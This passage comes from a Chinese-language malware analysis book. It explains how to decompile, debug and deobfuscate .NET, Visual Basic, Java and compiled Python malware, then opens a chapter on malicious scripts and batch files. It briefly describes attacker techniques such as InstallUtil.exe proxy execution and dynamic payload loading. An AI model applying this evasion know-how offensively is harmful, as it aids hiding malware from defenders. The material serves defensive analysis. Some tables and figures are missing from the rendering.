要跳转到主函数,你可以右键点击程序(从侧边栏),选择OnRun、OnStartup或OnCreateMainForm,以及在表单中进行选择。当分析与表单相关的代码时,从它们的构造函数(.ctor)开始,并注意哪些函数被添加到base.Load中,以及在此之后调用了哪些函数。一些方法,例如表单的OnLoad方法,可能也会被重写。
你还可以使用另一个工具——dotPeek。它是一个免费的工具,也可以将样本反编译并导出为 C#源代码。它的界面与 Visual Studio 非常相似。你还可以使用 IDA 分析 CIL 语言。
最后,标准的ildasm.exe工具可以反汇编并导出样本的 IL 代码:
ildasm.exe <malware_sample> /output output.il
.NET 动态分析
在调试过程中,可用的工具较少。dnSpy 是一个完整的解决方案,适用于静态和动态分析。它允许你设置断点,并进行单步调试。它还会显示变量的值。
要开始调试,你需要在样本的入口点设置一个断点。另一种选择是将源代码导出为 C#,然后在 Visual Studio 中重新编译并调试程序,这样你将完全控制程序的执行。Visual Studio 还会显示变量的值,并具有许多有助于调试的功能。
如果样本经过了过度混淆,无法通过 dotPeek 或 Dnspy 进行调试或导出为 C#代码,可以依赖ildasm.exe将样本代码导出为 IL 语言,并使用ilasm.exe重新编译并包含调试信息。下面是使用ilasm.exe重新编译的步骤:
ilasm.exe /debug output.il /output=<new sample exe file>
使用/debug参数,已经为该样本创建了一个.pdb文件,其中包含了调试信息。
.NET 样本的修补
有多种方法可以修改样本代码,用于去混淆、简化代码或强制执行特定路径。第一种选择是使用 dnSpy 的修补功能。在 dnSpy 中,你可以通过右键点击任何方法或类,选择编辑方法(C#),修改代码后重新编译。你也可以导出整个项目,修改源代码,进入编辑方法(C#),点击 C#图标导入源代码文件,并替换该类的原始代码进行编译。你还可以在 Visual Studio 中修改恶意代码源(导出后),并重新编译以便调试。
在 dnSpy 中,你可以通过从菜单中选择 Edit IL Instruction(编辑 IL 指令)并选择 Locals(本地变量)来修改本地变量的名称,如下截图所示。对于类和方法,你可以通过更新它们来修改名称,方法是使用 Edit Method (C#)(编辑方法)或 Edit Class (C#)(编辑类)选项:
图 9.8 – 在 dnSpy 中编辑本地变量
你还可以通过选择 Edit IL Instruction(编辑 IL 指令)直接编辑 IL 代码,并修改指令。这使你可以选择指令以及你想要访问的字段或变量。
处理混淆
在本节中,我们将研究不同的常见混淆技术,并学习如何解混淆 .NET 样本。
混淆的类、方法等名称
最常见的混淆技术之一是混淆类、方法、变量、字段等的名称——基本上是所有有名称的内容。
如果将名称混淆为其他字母表或其他符号(因为名称是 Unicode 格式),例如中文或日文,混淆的难度会更大。
你可以通过在命令行运行 de4dot 解混淆工具,尝试自动解混淆此类样本,如下所示:
de4dot.exe <sample>
这将重命名所有混淆的名称,如下截图所示(这里展示的是 HammerDuke 样本):
图 9.9 – 在运行 de4dot 解混淆名称前后的 Hammerduke 恶意软件
你还可以手动重命名方法,为其添加更有意义的名称,方法是右键点击方法,选择 Edit Method(编辑方法),或点击 Alt + Enter 并修改方法名称。之后,你需要保存模块并重新加载,以使更改生效。
你还可以通过右键点击方法并选择 Edit Method Body(编辑方法体)或 Edit IL Instructions(编辑 IL 指令)并选择 Locals(本地变量)来编辑本地变量名称。
二进制中的加密字符串
.NET 恶意软件使用的另一种常见技术是加密其字符串。这种方法可以将这些字符串隐藏在基于签名的工具以及经验较少的恶意软件分析师面前。处理加密字符串需要找到解密函数,并在每次调用时设置断点,如下截图所示:
图 9.10 – Samsam 勒索病毒加密的字符串在内存中被解密
有时候,会有难以访问的加密字符串,因此你可能不会在恶意软件的默认执行过程中看到它们被解密——例如,因为 C&C 服务器无法连接,或者可能存在额外的 C&C 地址,在第一个 C&C 正常工作的情况下这些地址不会被解密。在这些情况下,你可以执行以下操作:
- 你可以尝试使用 de4dot 通过提供方法 ID 来解密加密字符串。你可以通过检查
#~流中的Methods表来找到方法 ID,如下图所示:
图 9.11 – Samsam 勒索病毒 myff11() 解密函数,ID 0x0600000C
然后,你可以使用以下命令动态解密字符串:
de4dot <sample> --strtyp delegate --strtok <decryption method ID>
- 你可以修改入口点代码并添加调用解密函数的代码来解密字符串。前面的截图是通过重新指向对解密函数的调用,包括加密字符串,生成的。为了让 dnSpy 处理此代码,你必须通过更改对象字段或调用
System.Console.Writeline()将字符串打印到控制台来使用这些字符串。你需要在修改后保存模块,并重新打开它以使更改生效。
另一个选择是通过点击 文件 | 导出到项目(其他工具也可能有类似功能)将整个恶意软件源代码从 dnSpy 导出,进行修改,然后在 Visual Studio 中重新编译并调试它。
样本使用混淆器进行混淆
有很多公开可用的 .NET 混淆器。它们通常用于保护知识产权,但也常被恶意软件作者用来保护他们的样本免受逆向工程。有多种工具可以检测已知的打包器,如 Detect It Easy(DiE),如下图所示:
图 9.12 – 使用 Detect It Easy 检测保护恶意软件的混淆器(ConfuserEx)
你也可以使用 de4dot 工具通过运行 de4dot.exe -d <sample> 命令来检测混淆器,或者使用 de4dot.exe <sample> 命令解混淆样本。
对于自定义和未知的混淆器,你需要通过调试和修补过程来处理它们。在此之前,请检查不同的资源,看是否有相关的解决方案或解混淆工具。如果该混淆器是共享软件,你可能可以与作者联系并获得他们的帮助来解混淆样本(因为这些混淆器并非为了帮助恶意软件作者保护他们的样本而设计的)。
编译后交付并代理代码执行
攻击者可能还会尝试使用标准的csc.exe工具,在受害者的机器上动态编译恶意有效负载,而不是直接分发恶意.NET 二进制文件。这种方法通常通过脚本来实现,我们将在下一章中讨论这些脚本。
此外,攻击者可能会使用标准的InstallUtil.exe工具加载恶意.NET 样本,而不是直接执行它们。对于攻击者来说,这种方法的主要优势在于,在这种情况下,所有相关活动都会以签名合法应用程序的名义进行。需要知道的是,在这种情况下,加载的模块执行将从继承自标准System.Configuration.Install.Installer类的类开始。
动态加载的代码块
有时,恶意软件可能会解密或解码下一个代码块,并使用例如标准的AppDomain.CurrentDomain.Load方法动态加载它。在这种情况下,可以通过进入此方法并跟踪代码,直到达到UnsafeInvokeInternal -> RuntimeMethodHandle.InvokeMethod控制转移点,在 dnSpy 中到达该有效负载的第一条指令。以下是来自 AgentTesla 恶意软件的一个示例:
图 9.13 – 将控制权转移到 AppDomain.CurrentDomain.Load 中的有效负载
一旦到达嵌入式有效负载的第一行,dnSpy 将处理剩下的部分,反编译这个新引入的代码块,并将其添加到程序集浏览器面板中,用于静态分析。
这就是基于.NET 的恶意软件分析;我们已经学会了开始高效分析相应样本所需的所有知识。现在,让我们来谈谈用 Visual Basic 编写的威胁。
Visual Basic 的基本知识
Visual Basic 是一种由 Microsoft 开发的高级编程语言,基于 BASIC 系列语言。最初,它的主要特点是能够快速创建图形化界面,并与 COM 模型良好集成,这促进了对ActiveX 数据对象(ADO)的便捷访问。
它的最后一个版本发布于 1998 年,扩展支持于 2008 年结束。然而,所有现代 Windows 操作系统仍然支持它,尽管 APT 攻击者很少使用它,但许多大规模恶意软件家族仍然使用它。此外,许多恶意打包工具也使用这种编程语言,通常被检测为 Vbcrypt/VBKrypt 或类似的名称。最后,Visual Basic for Applications(VBA)仍广泛用于 Microsoft Office 应用程序,并且在 2010 年甚至升级到了第 7 版,它与 VB6 语言大致相同,并使用相同的运行时库。
在本节中,我们将深入探讨最新版本 Visual Basic(截至本文编写时为 6.0)支持的两种不同编译模式,并提供关于如何分析使用这些模式的样本的建议。
文件结构
编译后的 Visual Basic 样本看起来像标准的 MZ-PE 可执行文件。它们可以通过一个独特的导入 DLL MSVBVM60.DLL轻松识别出来(旧版本使用的是MSVBVM50.DLL)。PEiD 工具通常非常擅长识别这种编程语言(显然,前提是样本没有被打包):
图 9.14 – PEiD 识别 Visual Basic
在样本的入口点,我们可以看到调用ThunRTMain(MSVBVM60.100)运行时函数:
图 9.15 – Visual Basic 样本的入口点
这里的Thun前缀是对原始项目名称BASIC Thunder的引用。此函数接收一个指向以下结构的指针:
现在,让我们看一下ProjectInfo结构:
在这里,最有趣的字段之一是NativeCode。这个字段可以用来判断样本是作为 p-code 还是本地代码编译的。现在,让我们看看为什么这些信息很重要。
P-code 与本地代码
从 Visual Basic 5 开始,该语言支持两种编译模式:p-code 和本地代码(在此之前,p-code 是唯一的选项)。要理解它们之间的区别,我们需要了解什么是 p-code。
P-code,即打包代码或伪代码,是一种中间语言,其指令格式类似于机器代码。换句话说,它是一种字节码。引入它的主要原因是通过牺牲执行速度来减小程序的大小。当样本被编译为 p-code 时,字节码将由语言运行时解释执行。与此相对,本地代码选项允许开发者将样本编译成通常的机器代码,这通常运行得更快,但由于使用了多个开销指令,因此占用更多的空间。
知道分析的样本是在哪种模式下编译的非常重要,因为它决定了应使用哪些静态和动态分析工具。至于如何区分它们,最简单的方法是查看我们之前提到的NativeCode字段。如果它被设置为0,这意味着使用的是 p-code 编译模式。另一个指示器是,CodeEnd和CodeStart值之间的差异通常只有几个字节,因为没有本地代码函数。
另一种(不太可靠)的方法是查看导入表:
MSVBVM60.DLL,它提供对所有必要的 VB 函数的访问:
图 9.16 – 以 P-code 模式编译的 Visual Basic 示例的导入表
MSVBVM60.DLL,还有典型的系统 DLL,如kernel32.dll,以及相应的导入函数:
图 9.17 – 以本地代码模式编译的 Visual Basic 示例的导入表
区分这些模式的一种快速方法是将一个示例加载到免费的 VB Decompiler Lite 程序中,查看代码编译类型(加粗标记)以及函数本身。如果那里显示的是典型的 x86 指令,那么该示例是以本地代码编译的;否则,使用的是 P-code 模式:
图 9.18 – 在 VB Decompiler Lite 中,P-code 与本地代码示例的对比
我们将在下一节中更详细地介绍这个工具。
常见的 P-code 指令
多个基本操作码占用 1 个字节(0x00-0xFA);较大的 2 字节操作码以 0xFB-0xFF 范围内的前缀字节开头,使用频率较低。以下是一些常见的 P-code 指令示例,通常在探索 VB 反汇编时会看到:
-
数据存储和移动:
-
LitStr/LitVarStr:初始化字符串 -
LitI2/LitI4/...:将整数值推入栈中(通常用于传递参数) -
FMemLdI2/FMemLdRf/...:加载特定类型的值(内存) -
Ary1StI2/Ary1StI4/...:将特定类型的值压入数组 -
Ary1LdI2/Ary1LdI4/...:从数组中加载特定类型的值 -
FStI2/FStI4/...:将变量值压入栈中 -
FLdI2/FLdI4/...:从栈中将值加载到变量中 -
FFreeStr:释放字符串 -
ConcatStr:连接字符串 -
NewIfNullPr:如果为空则分配空间
-
-
算术运算:
-
AddI2/AddI4/...:加法运算 -
SubI2/SubI4/...:减法运算 -
MulI2/MulI4/...:乘法运算 -
DivR8:除法运算 -
OrI4/XorI4/AndI4/NotI4/...:逻辑运算
-
-
比较:
-
EqI2/EqI4/EqStr/...:检查是否相等 -
NeI2/NeI4/NeStr/...:检查是否不等 -
GtI2/GtI4/...:检查是否大于 -
LeI2/LeI4/...:检查是否小于或等于
-
-
控制流:
-
VCallHresult/VCallAd(VCallI4)/...:调用一个函数 -
ImpAdCallI2/ImpAdCallI4/...:调用导入函数(API) -
Branch/BranchF:条件满足时跳转
-
还有许多类似的指令。如果某个新的操作码对你来说不清楚,且你需要理解其功能,可以在非官方文档中找到(尽管不够详细),或者在调试器中进行探索。
以下是操作码名称中最常用的缩写:
-
Ad:地址 -
Rf:引用 -
Lit:字面量 -
Pr:指针 -
Imp:导入 -
Ld:加载 -
St:存储 -
C:类型转换 -
DOC:重复操作码
所有常见的数据类型缩写几乎都可以自我解释:
-
I: 整数(UI1– 字节,I2– 整数,I4– 长整型) -
R: 实数(R4– 单精度,R8– 双精度) -
Bool: 布尔值 -
Var: 变体 -
Str: 字符串 -
Cy: 货币
虽然一开始可能需要一些时间来习惯它们的符号,但其实变种并不多,所以过一段时间后,理解核心逻辑变得相对直接。另一个选择是投资一个合适的反编译器,避免直接处理 p-code 指令。我们稍后会讲到这个。
剖析 Visual Basic 样本
现在我们已经掌握了 Visual Basic 的一些基本知识,是时候转移焦点,学习如何剖析 Visual Basic 样本了。在这一部分,我们将进行详细的静态和动态分析。
静态分析
VB 恶意软件的共性是代码通常作为 SubMain 程序和事件处理程序的一部分执行,其中定时器和表单加载事件特别典型。
正如我们已经提到的,工具的选择将由创建恶意软件样本时使用的编译模式来决定。
P-code
对于 p-code 样本,可以使用 VB Decompiler 来访问其内部结构。Lite 版本是免费的,提供 p-code 反汇编访问,这对于大多数情况来说可能已经足够。如果工程师没有足够的专业知识或时间来处理 p-code 语法,那么付费的完整版提供了强大的反编译器,能够输出更易读的 Visual Basic 源代码:
图 9.19 – 在 VB 反编译器中拆解和反编译的相同 p-code 函数
另一个流行的选择是 P32Dasm 工具,它允许你通过几次点击获得 p-code 列表:
图 9.20 – P32Dasm 在操作中
它的一个有用特点是能够生成 MAP 文件,这些文件可以通过专用插件加载到 OllyDbg 或 IDA 中。文档中还提到了用于 IDA 的 Visual Basic 调试插件,但似乎并未公开提供给大众使用。
重要提示
给首次使用者的提示 – 如果需要,可以将所有请求的 .ocx 文件(如果不可用,可以单独下载)放入 P32Dasm 的根目录,以使其正常工作。
原生代码
对于编译为原生代码的样本,我们已经讨论过的任何 Windows 静态分析工具都可以胜任。在这种情况下,能够有效应用结构的解决方案(如 IDA、Binary Ninja 或 radare2)可以节省时间:
图 9.21 – 在应用 ProjectInfo 结构后原生代码的开始部分
VB 反编译器可以快速访问程序名称,而无需深入挖掘 VB 结构。对于 IDA,通过获取 VB 头的地址(如我们所知,它会传递给样本入口点处的 ThunRTMain 函数),然后通过偏移量(0x2C)获取 SubMain 地址。例如,在 radare2 中,你可以执行以下操作:
]
图 9.22 – 在 radare2 中查找 VB 示例的 SubMain 地址
现在,让我们讨论 Visual Basic 示例的动态分析。
动态分析
就像静态分析一样,动态分析在 p-code 和本地代码样本之间是不同的。
P-code
当需要调试 p-code 编译的代码时,通常有两种可用的选项:调试 p-code 指令本身或调试恢复的源代码。
第二种选择需要一个高质量的反编译器,它能够生成接近原始源代码的内容。通常,VB 反编译器能很好地完成这项工作。在这种情况下,它的输出可以加载到你选择的 IDE 中,并经过一些小的修改后,可以用于调试任何常见的源代码。通常,不需要恢复整个项目,因为只需要追踪代码的某些部分。
尽管这种方法通常更用户友好,但有时调试实际的 p-code 可能是唯一可用的选项,例如,当反编译器无法正常工作或根本无法使用时。在这种情况下,WKTVBDE 项目非常有用,它允许你调试 p-code 编译的应用程序。它要求恶意样本被放置在其根目录中,以便正确加载。
本地代码
对于本地代码样本,与静态分析类似,可以使用 Windows 的动态分析工具。选择工具主要取决于分析人员的偏好和预算。
到此阶段,我们已经足够了解 VB,可以开始分析前几个样本了。现在,让我们谈谈基于 Java 的威胁。
Java 示例的内部结构
Java 是一种跨平台编程语言,常用于创建本地应用程序和网页应用程序。其语法受另一种面向对象语言 Smalltalk 的影响。最初由 Sun Microsystems 开发,并于 1995 年首次发布,后来成为甲骨文公司的一部分。本文写作时,它被认为是最流行的编程语言之一。
Java 应用程序被编译成字节码,然后由Java 虚拟机(JVM)执行。这里的思想是,让经过一次编译的应用程序能够在所有支持的平台上使用,而无需做任何更改。市面上有多个 JVM 实现,且在本文撰写时(从 Java 1.3 开始),HotSpot JVM 是默认的官方选项。它的特点是结合了解释器和 JIT 编译器,能够根据分析器的输出将字节码编译成本地机器指令,以加速代码中较慢部分的执行。大多数 PC 用户通过安装Java 运行环境(JRE)来获取它,JRE 是一个软件发行包,包含独立的 JVM(HotSpot)、标准库和配置工具集。Java 开发工具包(JDK)是另一个流行选项,因为它是一个开发环境,用于使用 Java 语言构建应用程序、小程序和组件。对于移动设备,过程则截然不同。我们将在第十三章中讨论,分析 Android 恶意软件样本。
在恶意软件方面,Java 在远程访问工具(RAT)开发者中相当受欢迎。例如 jRAT 或者作为 JAR 文件分发的 Frutas/Adwind 家族。利用漏洞曾经是用户面临的另一个大问题,直到行业近期引入了相关变更。在本节中,我们将探讨已编译 Java 文件的内部结构,并学习如何在分析恶意软件时利用它。
文件结构
一旦编译完成,.java 文件会变成 .class 文件,可以直接由 JVM 执行。
以下是根据官方文档提供的结构:
ClassFile {
u4 magic;
u2 minor_version;
u2 major_version;
u2 constant_pool_count;
cp_info constant_pool[constant_pool_count-1];
u2 access_flags;
u2 this_class;
u2 super_class;
u2 interfaces_count;
u2 interfaces[interfaces_count];
u2 fields_count;
field_info fields[fields_count];
u2 methods_count;
method_info methods[methods_count];
u2 attributes_count;
attribute_info attributes[attributes_count];
}
在这种情况下使用的魔法值是一个十六进制 DWORD,0xCAFEBABE。其他字段是显而易见的。
发布一个更复杂项目的最常见方式是构建一个包含多个已编译模块以及辅助元数据文件(如 MANIFEST.MF)的 JAR 文件。JAR 文件遵循常规的 ZIP 压缩格式,可以使用任何支持的解压软件进行提取。
最后,<jar> 字段是对实际 JAR 文件的引用,而 <applet-desc> 字段则指定了要加载的主 Java 类的名称等信息。
Java 基于的样本有多种分析方式。在本节中,我们将探讨静态和动态分析的多种选择。
JVM 指令
支持的指令列表有很好的文档记录,所以通常来说,查找任何感兴趣的字节码信息都不成问题。我们来看一些示例,看看它们的样子。
数据传输:
算术和逻辑运算:
控制流程:
有趣的是,其他项目也可以生成 Java 字节码,例如 JPython,它旨在将 Python 文件编译成 Java 风格的字节码。然而,实际上,在绝大多数情况下,不需要处理它们,因为现代的反编译器已经做得非常出色。
静态分析
由于 Java 字节码在所有平台上保持一致,它加快了高质量反编译器的创建过程,因为开发人员不必花费大量时间支持不同的架构和操作系统。以下是一些公众常用的工具:
-
在使用时,通过
-path参数指定来自 Java 文件夹的rt.jar文件。 -
Procyon:另一个强大的反编译器,可以处理 Java 文件和原始字节码。
-
FernFlower:一个作为 IntelliJ IDEA 插件维护的 Java 反编译器。它也有命令行版本。
-
CFR:一个用 Java 编写的 JVM 字节码反编译器,可以处理单个类和整个 JAR 文件。
-
d4j:一个建立在 Procyon 项目基础上的 Java 反编译器。
-
Ghidra:这个逆向工程工具包支持多种文件格式和指令集,包括 Java 字节码:
图 9.23 – 在 Ghidra 中反汇编和反编译的 Java 字节码
-
JD Project:一个久负盛名的 Java 反编译项目,它提供了一组用于分析 Java 字节码的工具。包括一个名为JD-Core的库,一个名为JD-GUI的独立工具,以及多个主要 IDE 的插件。
-
JAD:一个经典的反编译器,曾帮助几代逆向工程师进行 Java 恶意软件分析。现已停用:
图 9.24 – 反编译的 Adwind RAT 恶意软件的 Java 代码
尝试多个不同的项目并比较它们的输出是有意义的,因为它们实现了不同的技术,因此质量可能有所不同,具体取决于输入的样本。
要知道从哪里开始分析,可以查看MANIFEST.MF文件,它将指示从相应 JAR 样本中的哪个类开始执行(Main-Class字段)。
最后,如果需要,可以使用标准的-c参数获取 Java 字节码的反汇编。
动态分析
现代反编译器通常能生成相当高质量的输出,经过少量修改后,可以像普通的 Java 源代码一样读取和调试。多个 IDE 支持 Java,并提供调试选项:Eclipse、NetBeans、IntelliJ IDEA 等。
如果需要原始字节码追踪,可以使用 -XX:+TraceBytecodes 选项,这对于 HotSpot JVM 的调试版本是可用的。如果需要逐步调试字节码,Dr. Garbage 的 Bytecode Visualizer 插件在 Eclipse IDE 中显得非常有用。它不仅可以查看 JAR 内部编译模块的反汇编代码,还能进行调试。
处理反逆向工程解决方案
截至本文撰写时,市场上有大量商业化的 Java 混淆器可用。至于恶意软件开发者,他们中的许多人使用的是破解版本、演示版或泄露的许可证。例如,Allatori Obfuscator 被 Adwind RAT 恶意软件滥用。
当确认了混淆器的名称(例如,通过唯一的字符串),通常需要检查是否有现成的去混淆工具支持它。以下是一些常见的工具:
-
Java Deobfuscator:一个多功能项目,支持大量商业保护器。
-
JMD:一个 Java 字节码分析与去混淆工具,能够去除多种知名保护器实施的混淆。
-
Java DeObfuscator (JDO):一款通用去混淆工具,实施多种通用技术,比如将混淆后的值重命名为唯一且能表示其数据类型的名称。
-
jrename:另一种通用的去混淆工具,专门用于重命名变量,以提高代码的可读性。
如果没有现成可用的工具,建议寻找相关文章,了解该混淆器的工作原理以及哪些方法值得尝试,它们可能会提供宝贵的见解。
如果没有找到相关信息,则需要从头开始探索混淆器的逻辑,尽量先获取最有价值的信息,如字符串,然后是字节码。收集到的关于混淆器的信息越多,后续分析时花费的时间就越少。
以上就是关于 Java 基础的威胁分析,现在,让我们来讨论用 Python 编写的恶意软件。
分析编译后的 Python 威胁
Python 是一种高级通用编程语言,首次亮相于 1990 年,自那时以来经历了多个开发迭代。截止本文撰写时,公众常用的有两个分支,Python 2 和 Python 3,它们并不完全兼容。该语言本身非常强大且易于学习,这使得工程师能够快速原型化并开发出创意。
至于为什么恶意软件作者使用编译过的 Python,尽管有许多其他语言,这主要是因为该语言跨平台,允许现有应用程序轻松移植到多个平台。通过使用 py2exe 和 PyInstaller 等工具,还可以将 Python 脚本转换为可执行文件。
你可能会想,为什么本章要涉及 Python,毕竟它是一个脚本语言?事实上,是否使用字节码取决于实际实现,而不是语言本身。活跃的 Python 用户可能会注意到,当 Python 模块被导入时,出现了带有 .pyc 扩展名的文件。这些文件包含了已经编译为 Python 字节码语言的代码,可以用于各种目的,包括恶意目的。此外,从 Python 项目生成的可执行文件通常可以先还原为这些字节码模块。
在本节中,我们将解释如何分析这些示例。
文件结构
与 Python 相关的已编译文件有三种类型:.pyc、.pyo 和 .pyd。让我们来了解它们之间的区别:
-
.pyc:这些是标准的已编译字节码文件,可用于加快将来模块的导入速度。 -
.pyo:这些是使用-O(或-OO)选项构建的已编译字节码文件,负责引入影响加载速度的优化(不是执行速度)。 -
.pyd:这些是实现 MZ-PE 结构的传统 Windows DLL 文件(对于 Linux,则是.so文件)。
由于 MZ-PE 文件在本书中已多次提及,我们不会详细讨论它们,也不会花太多时间讲解 .pyd 文件。它们的主要特点是具有一个特定名称的初始化例程,该名称应与模块的名称匹配。
特别是,如果你有一个名为 foo.pyd 的模块,它应该导出一个名为 initfoo 的函数,这样当使用 import foo 语句导入时,Python 就能搜索到具有此名称的模块,并知道要加载的初始化函数的名称。
现在,让我们关注已编译的字节码文件。以下是 .pyc 文件的结构:
有趣的是,.pyc 模块是平台独立的,但同时依赖于 Python 版本。因此,.pyc 文件可以轻松地在安装了相同 Python 版本的系统之间传输,但使用一个版本的 Python 编译的文件通常不能在另一个版本的 Python 上使用,即使是在同一系统上。
字节码指令
官方 Python 文档描述了 Python 2 和 3 中使用的字节码。此外,由于它是开源软件,特定 Python 版本的所有字节码指令也可以在相应的源代码文件中找到,主要是 ceval.c。
Python 2 和 3 使用的字节码之间的差异并不显著,但仍然可以察觉。例如,一些为版本 2 实现的指令在版本 3 中消失了(如 STOP_CODE、ROT_FOUR、PRINT_ITEM、PRINT_NEWLINE/PRINT_NEWLINE_TO 等):
![图 9.25 – 由 Python 2 和 3 生成的相同 HelloWorld 脚本的不同字节码]
图 9.25 – 由 Python 2 和 3 生成的相同 HelloWorld 脚本的不同字节码
下面是官方文档中使用的 Python 3 指令组,并附带一些示例:
-
NOP:什么也不做(通常作为占位符使用) -
POP_TOP:移除栈顶的值 -
ROT_TWO:交换栈顶的两个项 -
UNARY_POSITIVE:增量*UNARY_NOT:逻辑NOT操作*UNARY_INVERT:反转*BINARY_MULTIPLY:乘法*BINARY_ADD:加法*BINARY_XOR:异或操作*INPLACE_MULTIPLY:乘法*INPLACE_SUBTRACT:减法*INPLACE_RSHIFT:右移操作*GET_AITER:调用get_awaitable函数,获取栈顶项的__aiter__()方法的输出*SETUP_ASYNC_WITH:创建一个新的帧对象*BREAK_LOOP:终止循环*SET_ADD:将栈顶项添加到由第二项指定的集合中*MAKE_FUNCTION:将一个新的函数对象推入栈中
字节码指令名称是非常直观的。有关准确的语法,请查阅官方文档。
在讨论了 Python 作为脚本语言的各个方面之后,我们将重点介绍如何分析编译过的 Python 代码。在这一部分,我们将从 Python 的角度介绍一些实际的分析技巧。
静态分析
在许多情况下,分析人员并不会直接获得编译后的 Python 模块。相反,他们会得到一个样本,这个样本是一组 Python 脚本,通过 py2exe 或 PyInstaller 工具被转换成了可执行文件。所以,在深入研究字节码模块之前,我们需要先获取这些字节码模块。幸运的是,有几个项目可以执行这个任务:
-
unpy2exe.py:这个脚本可以处理使用 py2exe 构建的样本。
-
pyinstxtractor.py:顾名思义,这个工具可以用来从使用 PyInstaller 构建的可执行文件中提取 Python 模块。
一个名为 python-exe-unpacker 的开源项目结合了这两个工具,可以直接对可执行文件样本进行处理,无需额外检查。
在提取使用 PyInstaller 打包的文件后,对于刚开始分析编译过的 Python 文件的人来说,有一个步骤可能会让人感到非常沮丧。特别是,主要的提取模块可能缺失了编译代码前面的一些字节(具体数量取决于 Python 版本,请参见前面的表格),因此不能直接被其他工具处理。处理这个问题的最简单方法是从当前机器上的任何编译文件中获取这些字节,然后使用十六进制编辑器将它们添加到提取的文件中。可以通过导入(而不是执行)一个简单的 Hello World 脚本来创建这样的文件。
由于分析 Python 源代码相对简单,因此在可能的情况下坚持这种方式是有意义的。在这种情况下,能够恢复原始代码的反编译器显得特别有用。本文写作时,已有多个选项可供选择:
-
uncompyle6:一个开源的本地 Python 反编译器,支持多个版本的 Python。它正如其承诺的那样——将字节码转换回等效的源代码。它之前有几个较旧的项目(decompyle、uncompyle 和 uncompyle2)。
-
decompyle3:uncompyle6 项目的改进版,支持 Python 3.7 及以上版本。
-
Decompyle++(也称为 pycdc):一个用 C++编写的反汇编器和反编译器,旨在支持任何版本 Python 的字节码。
-
Meta:一个 Python 框架,允许你分析 Python 字节码和语法树。
-
UnPYC:一个多功能的 Python 反编译 GUI 工具,依赖其他项目来进行实际的代码恢复。
获取源代码后,可以在任何文本编辑器中进行查看,该编辑器具备便捷的语法高亮功能,或者使用您选择的 IDE。
然而,在某些情况下,反编译过程无法立即进行。例如,当模块是使用最新版本的 Python 构建时,它可能在传输过程中损坏,或部分解码/解密,亦或由于某些反逆向工程技术的影响。这类任务也常见于一些 CTF 竞赛中。在这种情况下,工程师必须坚持分析字节码。除了我们之前提到的工具,marshal.load和dis.disassemble方法也可以用来将字节码转换成可读格式。
动态分析
在动态分析方面,通常,反编译器的输出可以直接执行。任何支持 Python 语言的主要 IDE 都支持逐步执行。此外,通过trepan2/trepan3k调试器(分别适用于 Python 2 和 3 的最新版本),可以进行逐步调试。如果没有源代码可用,它会自动使用 uncompyle6。对于 Python 2.6 之前的版本,可以使用较旧的工具包,pydbgr和pydb。
如果需要跟踪字节码,可以通过以下几种方式进行处理:
-
ceval.c文件被修改以处理(例如,打印)已执行的指令。 -
修改.pyc 文件本身:在这里,源代码行号被替换为每个字节的索引,这最终允许你跟踪已执行的字节码。Ned Batchelder 在他的文章*《恶意黑客:Python 字节码追踪》*中介绍了这一技术。
还有一些现有的项目,例如 .pyc 文件,具有由当前版本的 Python 2 生成的头文件格式,因此如果有必要,请进行更新。
一些常见的反逆向工程技术示例包括:
-
操控堆栈上不存在的值
-
设置自定义异常处理程序(为此,可以使用
SETUP_EXCEPT指令)
在编辑字节码时(例如,去除反调试或反反编译技术,或恢复损坏的代码块),dis.opmap映射在查找操作码的二进制值并替换它们时非常有用,bytecode_graph模块可以无缝地移除不需要的值。
总结
在本章中,我们介绍了字节码语言的基本理论。我们了解了它们的使用场景以及它们如何从内部工作。然后,我们深入探讨了现代恶意软件家族中使用的最流行的字节码语言,解释了它们的工作原理,并分析了它们的独特细节,指出了需要特别关注的方面。最后,我们提供了关于如何分析此类恶意软件的详细指南,以及可以帮助这一过程的工具。
拥有这些知识后,你可以分析这种类型的恶意软件,并深入了解它可能如何影响受害者的系统。
在第十章,《脚本与宏 - 逆向工程、去混淆与调试》中,我们将涵盖各种脚本和宏语言,探索恶意软件如何滥用它们,并找出它们之间以及与已讲解技术之间的有趣联系。
第十章:脚本和宏 – 逆向工程、去混淆和调试
现在编写恶意软件已经成为一种商业行为,像任何生意一样,它的目标是通过降低开发和运营成本来尽可能地提高利润。另一个强大的优势是能够迅速适应不断变化的需求和环境。因此,随着现代系统变得越来越多样化,低级恶意软件需要更加特定地针对其任务,对于基本操作,如实际有效载荷的交付,攻击者倾向于选择那些可以在多个平台上运行并且开发和升级所需的工作量最小的方法。因此,脚本语言在攻击者中越来越受欢迎也就不足为奇了,因为它们满足了这两个条件。
除此之外,传统的攻击者需求依然有效,比如尽可能保持隐蔽,以成功实现恶意目标。如果脚本解释器已经存在于目标系统上,那么代码的体积相对较小。另一个反侦察的原因是,许多传统的杀毒引擎对二进制和字符串签名的支持相当好,但要正确检测混淆代码脚本,则需要语法解析器或模拟器,而这可能需要杀毒公司投入较高的成本来开发和支持。所有这些因素使得脚本成为第一阶段模块的完美选择。
本章我们将涵盖以下主题:
经典的 Shell 脚本语言
-
VBScript 解释
-
VBA 和 Excel 4.0 (XLM) 宏等
-
PowerShell 的强大功能
-
处理 JavaScript
-
C&C 背后——即便是恶意软件也有自己的后端
-
其他脚本语言
经典的 Shell 脚本语言
所有现代操作系统都支持某种命令语言,这些命令语言通常可以通过 Shell 访问。它们的功能因系统而异。一些命令语言可能足够强大,可以作为完整的脚本语言使用,而其他的则只支持与机器交互所需的最基本语法。在本章中,我们将涵盖两个最常见的例子:Unix 和 Linux 的 bash 脚本,以及 Windows 平台的批处理文件。
Windows 批处理脚本
Windows 批处理脚本语言的创建主要是为了简化某些管理任务,而不是完全取代其他成熟的替代方案。虽然它支持某些编程概念,如函数和循环,但一些非常基础的操作,如字符串操作,可能比许多其他编程语言的实现更加不直观。代码可以直接从 cmd.exe 控制台界面执行,或者通过创建一个 .cmd 或 .bat 扩展名的文件来执行。请注意,命令是不区分大小写的。
即使到今天,支持的命令列表仍然相当有限。所有命令可以分为两组,如下所示:
-
call:此命令执行当前批处理文件或另一个批处理文件的功能,或执行一个程序。 -
start:此命令根据文件扩展名执行程序或打开文件。 -
cd:此命令更改当前目录。 -
dir:此命令列出文件系统对象。 -
copy:此命令将文件系统对象复制到新位置。 -
move:此命令将文件系统对象移动到另一个位置。 -
del/erase:这些命令删除现有文件(非目录)。 -
rd/rmdir:这些命令删除目录(非文件)。 -
ren/rename:这些命令更改文件系统对象的名称。 -
